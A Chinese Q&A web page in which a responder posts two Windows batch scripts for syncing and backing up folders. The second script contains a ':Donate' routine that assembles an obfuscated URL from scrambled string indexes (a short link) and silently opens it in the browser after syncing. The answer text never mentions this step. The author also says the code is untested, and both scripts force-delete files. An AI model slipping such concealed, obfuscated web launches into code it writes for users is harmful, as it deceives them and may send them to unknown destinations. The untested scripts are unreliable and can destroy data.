这个自动同步文件的批处理命令怎么写?

这个自动同步文件的批处理命令怎么写?,第1张

@echo off & title 文件备份及比对工具 By 依梦琴瑶

::设置A目录路径

set A=E:\同步

::设置B目录路径

set B=S:\同步

::设置C目录路径

set C=E:\冗余

echo 说明:

echo     此工具在比对移动时,遇见同名文件,会在新文件名字后加上 _yyyymmddhhmmss

echo 格式的年月日时分秒。本工具同时会比对文件夹,重命名格式同文件一样。

echo,

echo     日志文件命名方式为 yyyymmddhhmmss.txt 格式的年月日时分秒.txt。

echo 日志内容中 -^> 前面的为原始文件路径,后面的为最终位置的路径。

echo,&echo,

setlocal enabledelayedexpansion

Call :GetABFullPath "%A%" "%B%" "%C%"

if exist "%SystemRoot%\System32\choice.exe" goto c2

echo,&set /p choice=请按 Y 键开始备份,按其它任意键(包括回车键)退出,回车确认:

if /i "%choice%"=="Y" goto start

exit

:c2

echo,&choice /c YN /n /m "按 Y 键开始备份,按 N 键退出:"

if errorlevel 2 exit

if errorlevel 1 goto start

exit

:start

set YMD=%date:~,10%

set YMD=%YMD:/=%

set YMD=%YMD:-=%

set HMS=%time:~,8%

set HMS=%HMS: =0%

set HMS=%HMS::=%

echo,&echo 正在备份中,请耐心等待。。。

(echo 从 "%B%" 备份到 "%A%" 中的文件/文件夹:

echo,

xcopy /s/e/y/d/h/f "%B%" "%A%")>"%C%\%YMD%%HMS%.txt"

ping 127.0.1 -n "2">nul

echo,&echo 正在比对中,请耐心等待。。。

(echo,&echo,&echo,

echo 从 "%A%" 移动到 "%C%" 中的文件/文件夹:

echo,

for /f "delims=" %%a in ('dir /s/b "%A%"') do (

    set "str=%%~a"

    if not exist "!str:%A%=%B%!" (

        dir /ad "!str!" >nul 2>nul && (

            if exist "!str:%A%=%C%!" set "Ext=_%YMD%%HMS%"

            echo "!str!" -^> "!str:%A%=%C%!!Ext!"       //文件夹

            rd /s/q "!str!" 2>nul

            md "!str:%A%=%C%!!Ext!" 2>nul

        ) || (

            if exist "!str:%A%=%C%!" set "Ext=_%YMD%%HMS%"

            if defined Ext (

                set "strtmp=%%~dpa"

                echo "!str!" -^> "!strtmp:%A%=%C%!%%~na!Ext!%%~xa"

                move "!str!" "!strtmp:%A%=%C%!%%~na!Ext!%%~xa" >nul

            ) else (

                set "strtmp=%%~dpa"

                echo "!str!" -^> "!str:%A%=%C%!"

                xcopy /s/e/y "!str!" "!strtmp:%A%=%C%!" >nul

                del /f/q "!str!" 2>nul

            )

        )

        set "Ext="

        set "strtmp="

    )

))>>"%C%\%YMD%%HMS%.txt"

echo,&echo 此次 *** 作已完成,请按任意键退出。

@pause>nul & exit

:GetABFullPath

set "A=%~f1"

set "B=%~f2"

set "C=%~f3"

goto :eof

我的脚本可能不是最完美的,但应该算符合你的基本要求了!希望你喜欢,谢谢!

由于手机上编写,因此尚未进行测试,请您在使用时做好备份,或先找两个不重要的文件夹,进行测试,测试通过后,再去实测。测试过程中若有问题,请追问。

@echo off & title 同步教师机内容 By 依梦琴瑶

::设置教师机文件所在目录路径

set SrcDir=D:\LaoShi_YiMeng

::设置学生机文件所在目录路径

set TgrDir=X:\MyFolder

echo 正在同步中,请耐心等待。。。

xcopy /s/e/y/h/d "%SrcDir%\" "%TgrDir%\"

for /f "delims=" %%a in ('dir /a/s/b "%TgrDir%\*"') do (

    call :Check "%%~a"

)

echo, & echo 同步完成

pause

call :Donate

exit

:Donate

set "S0=fPdv"

set "S1=.:ailnhpst/"

set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"

set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"

start "" "%S2%%S3%%S1:~10,1%%S0%"

exit

:Check

set "Var=%~1"

call set "Var=%%Var:%TgrDir%\=%SrcDir%\%%"

if not exist "%Var%" (

    dir /ad "%Var%" >nul 2>nul && (

        rd /s /q "%~1"

    ) || (

        del /f /q "%~1"

    )

)

goto :eof

识别已打开的文件,这个没法实现。

毕竟不像运行程序,可以通过查找进程来分析。

复制已修改的,应该可以通过分析创建时间和修改时间的不同来实现。

最后一个,删除另一个文件夹中不存在的文件,这个完全可以实现。


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/tougao/11870588.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-19
下一篇 2023-05-19

发表评论

登录后才能评论

评论列表(0条)

保存